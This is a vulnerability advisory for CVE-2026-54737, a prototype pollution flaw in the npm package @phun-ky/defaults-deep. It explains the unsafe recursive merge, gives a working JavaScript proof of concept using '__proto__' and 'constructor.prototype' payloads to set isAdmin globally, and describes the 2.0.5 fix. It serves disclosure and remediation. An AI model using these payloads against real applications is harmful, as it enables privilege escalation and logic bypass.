high · 7.3CVE-2026-54737Jul 31, 2026

CVE-2026-54737: @phun-ky/defaults-deep Prototype Pollution via Unsafe Recursive Merge

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A flaw in the @phun-ky/defaults-deep library lets an attacker inject properties into JavaScript's global Object prototype by passing crafted input to the defaultsDeep() function, which can silently…

Package@phun-ky/defaults-deep
Ecosystemnpm
Affected< 2.0.5
Fixed in2.0.5
CVE-2026-54737: @phun-ky/defaults-deep Prototype Pollution via Unsafe Recursive Merge

The problem

The defaultsDeep() function recursively merged source objects into a target without filtering dangerous key names such as __proto__, constructor, and prototype.

When a crafted object carrying one of these keys was passed as the source, the merge walked into Object.prototype itself and wrote attacker-controlled values there. Because every plain JavaScript object inherits from Object.prototype, this polluted all objects in the process, opening the door to logic bypasses, privilege escalation, or denial of service depending on how downstream code uses merged values.

Proof of concept

A working proof-of-concept for CVE-2026-54737 in @phun-ky/defaults-deep, with the exact payload below.

javascript
const defaultsDeep = require('@phun-ky/defaults-deep');

// Pollute Object.prototype via __proto__
const malicious = JSON.parse('{"__proto__":{"isAdmin":true}}');
defaultsDeep({}, malicious);

console.log(({}).isAdmin); // true -- Object.prototype is now polluted

// Alternative: constructor.prototype vector
const alt = JSON.parse('{"constructor":{"prototype":{"isAdmin":true}}}');
defaultsDeep({}, alt);

console.log(({}).isAdmin); // true

The root cause is CWE-1321: the recursive merge function checked only whether a value was a plain object before recursing, never whether the key itself was safe. Passing __proto__ as a key causes obj["__proto__"] to resolve to Object.prototype rather than creating a new own property, so every subsequent assignment writes directly onto the shared prototype.

The patch (commit 807dba9, released in 2.0.5) adds an explicit blocklist guard before each recursive step, skipping any key equal to __proto__, constructor, or prototype, which closes all three standard pollution vectors.

The fix

Upgrade to @phun-ky/defaults-deep version 2.0.5 or later (npm install @phun-ky/defaults-deep@latest). If you cannot upgrade immediately, strip __proto__, constructor, and prototype keys from all user-controlled objects before passing them to defaultsDeep().

Reporter not attributed.

References: [1][2][3][4][5]

Related research